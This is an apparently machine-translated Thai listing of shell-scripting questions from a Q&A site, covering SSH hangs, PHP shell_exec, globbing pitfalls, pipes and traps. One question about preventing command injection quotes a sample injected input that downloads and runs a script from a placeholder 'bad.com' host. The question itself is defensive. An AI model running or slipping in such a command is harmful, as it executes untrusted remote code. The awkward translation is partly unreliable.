คำถามติดแท็ก shell

เชลล์เป็นอินเตอร์เฟสบรรทัดคำสั่งของ Unix คุณสามารถพิมพ์คำสั่งในเชลล์แบบโต้ตอบหรือเขียนสคริปต์เพื่อทำงานอัตโนมัติ ใช้แท็กนี้สำหรับคำถามที่ใช้กับ / bin / sh และเชลล์ที่เข้ากันได้มากที่สุด (ash, bash, ksh, zsh, …) สำหรับเชลล์สคริปต์ที่มีข้อผิดพลาดโปรดตรวจสอบใน http://shellcheck.net ก่อนโพสต์ที่นี่

1
ทำไม `postgres 'ถึงต้องการเชลล์?
ในระบบ Debian Wheezy ของฉันฉันสังเกตเห็นว่าผู้ใช้ postgres 'postgres', "ผู้ดูแลระบบ PostgreSQL" ใช้/bin/bashเป็นเชลล์ อย่างไรก็ตามฉันไม่สามารถเข้าใจได้ว่าทำไมถึงมีความจำเป็น การเปลี่ยนแปลงนี้จะยังคงช่วยให้ผมใช้คำสั่ง/bin/falsepsql ดังนั้นทำไมผู้ใช้ระบบpostgresต้องการเชลล์และจำเป็นต้องมีเฉพาะ/bin/bashหรือไม่?

6
คุณจำตัวเลือกคำสั่งได้อย่างไร [ปิด]
ปิด คำถามนี้เป็นคำถามความคิดเห็นตาม ไม่ยอมรับคำตอบในขณะนี้ ต้องการปรับปรุงคำถามนี้หรือไม่ อัปเดตคำถามเพื่อให้สามารถตอบข้อเท็จจริงและการอ้างอิงได้โดยแก้ไขโพสต์นี้ ปิดให้บริการใน5 ปีที่ผ่านมา ฉันอยากรู้ว่าเคล็ดลับที่คุณใช้เพื่อจำตัวเลือกต่าง ๆ สำหรับคำสั่งต่าง ๆ คืออะไร? การค้นหาหน้าคนตลอดเวลานั้นใช้เวลานานและไม่เจ๋งมาก!
13 shell  command 

4
ปัญหา SSH แปลก ๆ ssh ทำงานกับ -t แต่ค้างโดยไม่มีมัน
เมื่อฉันsshเข้าสู่เซิร์ฟเวอร์ใดเซิร์ฟเวอร์หนึ่งของฉันดูเหมือนว่าจะเข้าสู่ระบบ แต่จากนั้นก็หยุดทำงานก่อนที่จะให้พรอมต์ ( message debug2: shell request accepted on channel 0 is the last log entry) แม้ว่าสิ่งแปลกจะใช้ssh -t "/bin/bash"งานได้เมื่อsshไม่ได้ สิ่งที่ฉันได้ค้นพบจนถึงขณะนี้ ฉันสามารถเข้าสู่ระบบได้ดีจากเซิร์ฟเวอร์ในตำแหน่งทางภูมิศาสตร์เดียวกันตามปกติ ถ้าฉันssh -t '/bin/bash'- ฉันสามารถเข้าสู่ระบบได้อย่างสมบูรณ์แบบจากที่ใดก็ได้ ถ้าฉันใช้rsync กับเซิร์ฟเวอร์ดูเหมือนว่าจะทำงานแล้วล็อค ถ้าฉันใช้rsync จากเซิร์ฟเวอร์มันทำงานได้โดยไม่มีปัญหา สิ่งที่ฉันได้ลอง การลบหรือแก้ไขตัวเลือกการเข้าสู่ระบบทั้งหมด.profile,.bashrc /etc/profile การเปลี่ยนssh_config และ / หรือ sshd_configหนึ่งจากเซิร์ฟเวอร์ที่เหมือนกันที่ทำงานได้ดี ฉันตรวจสอบเส้นทางแล้ว ฉันเคยมีผู้เชี่ยวชาญด้านเครือข่ายตรวจสอบtcpdumpว่าไม่มีประโยชน์ (แม้ว่าจะมีการส่งสัญญาณซ้ำหลายครั้ง) ฉันไม่สามารถคิดอย่างอื่นได้อีก นอกเหนือจากไดรเวอร์ / เฟิร์มแวร์การ์ดเครือข่ายซึ่งหลบ
13 shell  ssh  login 

6
php shell_exec () การอนุญาตบน Linux Ubuntu
ฉันกำลังพัฒนาแอปพลิเคชัน php โดยใช้เซิร์ฟเวอร์ Linux ปัญหาของฉันกำลังshell_exec()เรียกใช้งานไฟล์ exe บางไฟล์ไม่ทำงาน (อันที่จริงไม่ใช่ exe เป็นไฟล์เรียกทำงานของ linux) echo shell_exec("whoami"); ฉันได้ภูต echo shell_exec("ls") ฉันได้รับชื่อไฟล์ แต่ echo shell_exec("php -v") ฉันไม่มีอะไรเลยหน้าว่าง echo shell_exec("php ....bla bla bla") หน้าว่างด้วย คำสั่งทั้งหมดเหล่านี้ถ้าฉันพิมพ์บน terminal (user hu) จะใช้งานได้ ฉันค้นหา google เป็นเวลาหลายชั่วโมงผู้คนบอกว่านั่นเพราะได้รับอนุญาต ฉันไม่มีประสบการณ์บน Linux ฉันต้องทำอย่างไรเพื่อรันโปรแกรมใน php?
13 linux  shell  php  exec 

2
รูปแบบชื่อไฟล์เชลล์ที่ขยายเป็น dot files แต่ไม่ใช่ `.. '
เมื่อเร็ว ๆ นี้ฉันมีอุบัติเหตุเล็ก ๆ น้อย ๆ ที่เกิดจากรูปแบบเปลือกหอยที่ขยายออกไปอย่างคาดไม่ถึง ฉันต้องการเปลี่ยนเจ้าของจุดไฟล์หลาย ๆ อันใน/rootไดเรกทอรีดังนั้นฉันก็ทำได้ chown -R root .* ตามธรรมชาติแล้วการ.*ขยายไปสู่..ภัยพิบัติ ฉันรู้ว่าในbashพฤติกรรมนี้สามารถเปลี่ยนแปลงได้โดยการปรับแต่งตัวเลือกเชลล์บางอย่าง แต่ด้วยการตั้งค่าเริ่มต้นจะมีรูปแบบใดที่จะขยายไปยังทุก ๆ จุดไฟล์ในไดเรกทอรี แต่ไม่ใช่.และ..?

4
ท่อ {รายการ; } ใช้ได้กับบางโปรแกรมเท่านั้น
ต้องการคำอธิบายจากผู้ใช้ระดับสูงสำหรับพฤติกรรมที่คาดเดาไม่ได้เช่น: ps -eF | { head -n 1;grep worker; } UID PID PPID C SZ RSS PSR STIME TTY TIME CMD root 441 2 0 0 0 2 paź15 ? 00:00:00 [kworker/2:1H] ทุกอย่างดูโอเคในขณะที่ ls -la / | { head -n 1;grep sbin; } แสดงเฉพาะเอาต์พุตจาก head ... ฉันคิดstdout 2>&1และไม่ทำงานไม่ได้สำหรับฉันมันแปลกคำอธิบายใด ๆ หรือแนะนำวิธีจัดการกับมัน?
13 shell  pipe 

3
วิธีการป้องกันการฉีดคำสั่งผ่านตัวเลือกคำสั่ง?
ฉันมีแอปพลิเคชัน wrapper ที่ฉันต้องการให้ผู้ใช้ระบุตัวเลือกที่กำหนดเองเพื่อส่งผ่านไปยังโปรแกรมจำลอง อย่างไรก็ตามฉันต้องการให้แน่ใจว่าผู้ใช้ไม่ได้ฉีดคำสั่งอื่น ๆ ผ่านตัวเลือกผู้ใช้ วิธีที่ดีที่สุดในการทำสิ่งนี้ให้สำเร็จคืออะไร? ตัวอย่างเช่น. ผู้ใช้ให้: -a -b แอปพลิเคชันดำเนินการ: mysim --preset_opt -a -b อย่างไรก็ตามฉันไม่ต้องการให้สิ่งนี้เกิดขึ้น: ผู้ใช้ให้: && wget http:\\bad.com\bad_code.sh && .\bad_code.sh แอปพลิเคชันดำเนินการ: mysim --preset_opt && wget http:\\bad.com\bad_code.sh && .\bad_code.sh ขณะนี้ฉันคิดว่าฉันสามารถล้อมรอบตัวเลือกผู้ใช้ทุกคนด้วยเครื่องหมายอัญประกาศเดี่ยว'และตัดเครื่องหมายอัญประกาศใด ๆ ที่ผู้ใช้ให้ดังนั้นคำสั่งในตัวอย่างสุดท้ายจะกลายเป็นอันตราย: mysim -preset_opt '&&' 'wget' 'http:\\bad.com\bad_code.sh' '&&' '.\bad_code.sh' หมายเหตุ: mysimคำสั่งดำเนินการโดยเป็นส่วนหนึ่งของเชลล์สคริปต์ในคอนเทนเนอร์ docker / lxc ฉันใช้ Ubuntu

2
วิธีการทริกเกอร์ข้อผิดพลาดโดยใช้คำสั่ง Trap
ฉันใช้ Ubuntu 12.04.2 ฉันพยายามใช้คำสั่ง "trap" เพื่อจับภาพผิดปกติหรือข้อผิดพลาดในเชลล์สคริปต์ของฉัน แต่ฉันยังพยายามที่จะออกจาก "Error" ด้วยตนเอง ฉันลองใช้ทางออก 1 แล้ว แต่จะไม่ส่งสัญญาณ "ข้อผิดพลาด" #!/bin/bash func() { exit 1 } trap "echo hi" INT TERM ERR func ไม่แน่ใจว่าจะเรียกสัญญาณออก "ผิดพลาด" ด้วยตนเองได้อย่างไร

1
วิธีสร้างแฟลชที่สามารถบู๊ตได้สำหรับ“ efi-shell”
ชิปเซ็ตเซิร์ฟเวอร์ Intel ในปัจจุบันมี "efi-shell" ในตัวซึ่งดูเหมือนจะเป็น 'NIX แบบง่ายที่มีชุดคำสั่งที่เหมาะสมสำหรับการจัดการตัวเลือกการบูต UEFI ที่ดี เป็นกรณีที่เครื่องมืออัพเกรดเฟิร์มแวร์ของ Intel บางรุ่นต้องการให้ "efi-shell" ทำงาน น่าเศร้าที่ฉันไม่มีชิปเซ็ตเซิร์ฟเวอร์แม้ว่าบอร์ดนี้จะรองรับการบูท UEFI ก็ตาม The-เปลือก EFI สามารถดาวน์โหลดได้จากhttp://www.sourceforge.net/projects/efi-shell อย่างไรก็ตามฉันไม่พบ ISO ที่สามารถบู๊ตได้หรืออิมเมจอิมเมจที่สามารถบูตได้รูปแบบอื่น ฉันพยายามแฟลชที่สามารถบู๊ตได้unetbootinโดยไม่ประสบความสำเร็จ มีความคิดเกี่ยวกับวิธีที่ฉันจะทำสำเนา efi-shell ที่สามารถบูตได้เพื่อให้ฉันสามารถเรียกใช้การอัพเกรดเฟิร์มแวร์ของ Intel บนการ์ด RAID ของฉันได้อย่างไร
13 shell  boot  uefi 

5
วิธีลบ (1) จากชื่อไฟล์โดยใช้คำสั่ง find
ฉันเพิ่งแปลงไฟล์ FLAC ทั้งหมดของฉันเป็นอัตราการสุ่มตัวอย่างที่ต่ำกว่า 44.1 kHz และความลึกบิต 24 บิต (เนื่องจาก iPhone / iPod ไม่รองรับสิ่งที่เหนือกว่า) โดยใช้ XLD บน Mac OS 10.7 (Lion) แม้ว่าฉันจะบอกให้ XLD เขียนทับไฟล์ก่อนหน้านี้ทั้งหมด แต่ XLD ก็ต่อ(1)ท้ายไฟล์ที่คล้ายกันมาก some_song.m4a ถึง some_song(1).m4a ดังนั้นตอนนี้ฉันต้องการลบไฟล์นั้น(1)จากไฟล์ FLAC ทั้งหมดที่ฉันแปลง ฉันรู้ว่าฉันอาจจะใช้บางโปรแกรมหรือแม้แต่ AppleScript เพื่อเปลี่ยนชื่อไฟล์ แต่ฉันต้องการเรียนรู้โดยใช้บรรทัดคำสั่งโรงเรียนเก่า ฉันรู้ว่าfind . -name *\(1\).m4aจะคว้าไฟล์ FLAC ที่แปลงแล้วทั้งหมด ต่อไปฉันรู้ว่าฉันต้องทำบางสิ่งด้วย-execและmvเปลี่ยนชื่อไฟล์ที่พบทั้งหมด (1)แต่สิ่งที่ผมไม่สามารถคิดออกเป็นวิธีที่จะทำให้ชื่อไฟล์เดิมและมีเพียงลบ บางทีฉันอาจต้องทำการจับภาพ regex ของกลุ่มเพื่อจัดเก็บส่วนของชื่อไฟล์ที่ฉันไม่ต้องการแก้ไข หรือบางทีมันเป็นไปไม่ได้ที่จะทำทุกอย่างในบรรทัดเดียวและฉันควรสร้างเชลล์สคริป (ซึ่งฉันไม่สะดวกที่จะทำ แต่ฉันยินดีที่จะลอง) …

5
สุ่มสุ่มจำนวนบรรทัดจากไฟล์ข้อมูล
ฉันมีรายการข้อมูลเช่น 12345 23456 67891 -20000 200 600 20 ... สมมติว่าขนาดของชุดข้อมูลนี้ (เส้นเช่นของไฟล์) Nเป็น ฉันต้องการสุ่มวาดmเส้นจากไฟล์ข้อมูลนี้ ดังนั้นผลลัพธ์ควรเป็นสองไฟล์หนึ่งไฟล์เป็นไฟล์ที่รวมmบรรทัดข้อมูลเหล่านี้และอีกไฟล์หนึ่งมีN-mข้อมูลอยู่ด้วย มีวิธีการที่ใช้คำสั่ง Linux หรือไม่

1
ฉันสับสนว่าทำไม“ | true "ใน makefile มีผลเหมือนกับ" || ความจริง”
ฉันมี makefile ที่ฉันหยุดบริการก่อนที่จะลบไฟล์ เมื่อไม่สามารถหยุดบริการได้ก็จะเกิดข้อผิดพลาด นี้ชัดเจนไม่พึงประสงค์ดังนั้นฉันคิดว่าฉันต้องการเพิ่มแต่พลาด|| true |ทำให้มัน: stop service foo | true rm /etc/init/foo.conf ฉันสับสนว่าทำไมสิ่งนี้ถึงใช้ได้และสิ่งที่เกิดขึ้น นี่หมายความว่าtrueเป็นแอปพลิเคชั่นไม่ใช่แค่คำหลัก พวกเขาเหมือนกันหรือไม่ มีเหตุผลที่ดีที่จะใช้| trueหรือไม่
13 shell  pipe 


3
[-t 1] ตรวจสอบอะไร
ฉันเพิ่งพบวิธีการเริ่มต้นzshเมื่อฉันเริ่มbashบน Windows จาก https://www.howtogeek.com/258518/how-to-use-zsh-or-another-shell-in-windows-10/ .bashrcมันแนะนำให้เพิ่มรหัสต่อไปนี้ที่สุดท้าย # Launch Zsh if [ -t 1 ]; then exec zsh fi อะไร[ -t 1 ]หมายถึง? มันเป็นความจริงเหรอ? จากนั้นฉันจะทำสิ่งนี้ได้ไหม? exec zsh
13 bash  shell  zsh  test 

2
อักขระชื่อฟังก์ชันที่ถูกต้องของเชลล์
การใช้อักขระ Unicode แบบขยาย (ไม่มีข้อสงสัย) มีประโยชน์สำหรับผู้ใช้หลายคน เชลล์ที่ง่ายกว่า (ash (busybox), dash) และ ksh ล้มเหลวด้วย: tést() { echo 34; } tést แต่bash , mksh , lkshและzshดูเหมือนจะอนุญาต ฉันทราบว่าชื่อฟังก์ชันที่ถูกต้อง POSIX ใช้นิยามของชื่อนี้ นั่นหมายถึง regex นี้: [a-zA-Z_][a-zA-Z0-9_]* อย่างไรก็ตามในลิงค์แรกมันยังกล่าวว่า: การใช้งานอาจอนุญาตให้ตัวละครอื่น ๆ ในชื่อฟังก์ชั่นเป็นส่วนขยาย คำถามคือ: สิ่งนี้ได้รับการยอมรับและจัดทำเป็นเอกสารหรือไม่? ที่ไหน? เปลือกหอยไหน (ถ้ามี)? คำถามที่เกี่ยวข้อง: เป็นไปได้ใช้อักขระพิเศษในชื่อฟังก์ชันเปลือก? ฉันไม่สนใจที่จะใช้เมตาอักขระ (>) ในชื่อฟังก์ชัน ชื่อฟังก์ชันพุ่งพรวดและทุบตีที่มี“ -” ฉันไม่เชื่อว่าตัวดำเนินการ (การลบ "-") ควรเป็นส่วนหนึ่งของชื่อ
13 bash  shell  zsh  function 

โดยการใช้ไซต์ของเรา หมายความว่าคุณได้อ่านและทำความเข้าใจนโยบายคุกกี้และนโยบายความเป็นส่วนตัวของเราแล้ว
Licensed under cc by-sa 3.0 with attribution required.